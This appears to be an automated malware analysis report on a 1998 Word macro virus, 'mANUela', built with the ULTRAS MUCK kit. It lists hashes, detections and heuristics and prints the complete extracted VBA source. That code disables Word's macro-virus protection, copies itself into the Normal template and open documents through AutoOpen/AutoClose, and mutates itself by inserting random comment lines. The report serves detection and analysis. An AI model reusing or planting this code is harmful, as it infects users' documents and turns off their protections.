Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e17c3a95c7e08ab6…

MALICIOUS

Office (OLE)

36.5 KB Created: 1998-11-22 12:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 8e6e35efdf0054d443cb34cb1870cd33 SHA-1: 4b83c544ca7ca06cd06cd92310c3c18c09a2885f SHA-256: e17c3a95c7e08ab631f9e420d053dd6a1603683329f2a5fb51a43e6356e512cd
256 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample exhibits characteristics of a legacy macro virus, specifically using WordBasic and VBA macros. The presence of AutoOpen and Auto_Close macros, along with the 'mANUela' module name, indicates an attempt to infect the Normal template and the active document. The ClamAV detection 'Doc.Trojan.MCK-1' further confirms its malicious nature.

Heuristics 6

  • ClamAV: Doc.Trojan.MCK-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.MCK-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5647 bytes
SHA-256: 88d1cae0c381ae6acd2f6ccae6595a52cba6d5c674537c585abb4dd4bf421459
Detection
ClamAV: Doc.Trojan.MCK-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "mANUela"

'Mini ULTRAS Construction Kit (MUCK)
'ULTRAS 1998

'VirusName: mANUela
'Author Name: Doctor Rave
'Date and Time:22/11/98 13.16.52


'~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
'AutoOpen
    Rem 208,377 72,45839    41,81892    141,3382    18,56623
'~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Sub AutoOpen()
On Error Resume Next
Call Payload
Application.ScreenUpdating = False
Application.DisplayAlerts = wdAlertsNone
Options.VirusProtection = False
DocInfect = False
GlobInfect = False
Set GlobalDoc = NormalTemplate
Set ActiveDoc = ActiveDocument
For i = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(i).Name = "mANUela" Then
DocInfect = True
End If
Next
For j = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(j).Name = "mANUela" Then
GlobInfect = True
End If
Next
If GlobInfect = False Then
Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="mANUela", Object:=wdOrganizerObjectProjectItems
    Rem 242,9122    8,509574    159,9063    121,7117    0,7694919
Options.SaveNormalPrompt = False
End If
If DocInfect = False Then
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="mANUela", Object:=wdOrganizerObjectProjectItems
ActiveDoc.SaveAs FileName:=ActiveDoc.Name, FileFormat:=wdFormatTemplate
    Rem 73,00089    13,02573    103,4539    73,81318    20,22557
    Rem 418,3166    50,53939    100,4227    77,12215    4,800717
End If
Application.DisplayAlerts = wdAlertsAll
    Rem 173,8149    24,07764    151,7714    176,3693    19,66734
Call Polymorphic
End Sub


'~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
'AutoClose
'~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Sub AutoClose()
On Error Resume Next
Call Payload
    Rem 437,6887    69,71567    8,997898    170,9202    17,83692
Application.ScreenUpdating = False
Application.DisplayAlerts = wdAlertsNone
Options.VirusProtection = False
DocInfect = False
GlobInfect = False
Set GlobalDoc = NormalTemplate
Set ActiveDoc = ActiveDocument
For i = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(i).Name = "mANUela" Then
DocInfect = True
End If
Next
For j = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(j).Name = "mANUela" Then
GlobInfect = True
End If
Next
If GlobInfect = False Then
Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="mANUela", Object:=wdOrganizerObjectProjectItems
Options.SaveNormalPrompt = False
    Rem 349,0358    4,280362    94,79332    84,36602    14,61011
End If
If DocInfect = False Then
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="mANUela", Object:=wdOrganizerObjectProjectItems
ActiveDoc.SaveAs FileName:=ActiveDoc.Name, FileFormat:=wdFormatTemplate
End If
    Rem 315,9908    73,0974 133,5707    4,073256    26,62467
Application.DisplayAlerts = wdAlertsAll
Call Polymorphic
    Rem 131,7509    24,15584    123,9584    2,523175    37,27546
    Rem 45,52377    8,241811    127,8215    51,20645    2,236809
End Sub

    Rem 448,6724    72,87714    36,29856    125,1208    48,02016
'~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
'ToolsMacro macro
'~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Sub ToolsMacro()
    Rem 294,7586    21,10344    44,69473    149,3643    40,4055
Call Polymorphic
Beep
End Sub

'~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
'ViewVBCode macro
'~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Sub ViewVBCode()
Call Polymorphic
Beep
End Sub
    Rem 148,4238    50,65431    33,20978    33,48243    28,58459

'~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
'ToolsCustomize macro
'~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Sub ToolsCustomize()
Call Polymorphic
Beep
End Sub

'~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
'FileTemplates macro
'~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Sub FileTemplates()
Call Polymorphic
Beep
    Rem 322,6122    3,628221    66,24523    155,2715    38,73352
End Sub


'~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
'Polymorphic macro
'~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Sub Polymorphic()
On Error Resume Next
PoNu = Int(Rnd() * 28 + 1)
For Mutate = 1 To PoNu
PoRL = Application.VBE.ActiveVBProject.VBComponents("mANUela").CodeModule.CountOfLines
PoLi = Int(Rnd() * PoRL + 1)
a = Rnd * 455: b = Rnd * 80: c = Rnd * 160: d = Rnd * 180: e = Rnd * 49
    Rem 195,7688    54,23582    80,39262    92,47275    22,68602
Application.VBE.ActiveVBProject.VBComponents("mANUela").CodeModule.InsertLines PoLi, vbTab & "Rem " & a & vbTab & b & vbTab & c & vbTab & d & vbTab & e
Next Mutate
End Sub

'~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
'Payload macro
'~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Sub Payload()
On Error Resume Next
U = Int(Rnd() * 30) + 1
If Day(Now()) = MUCK Then
End If
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.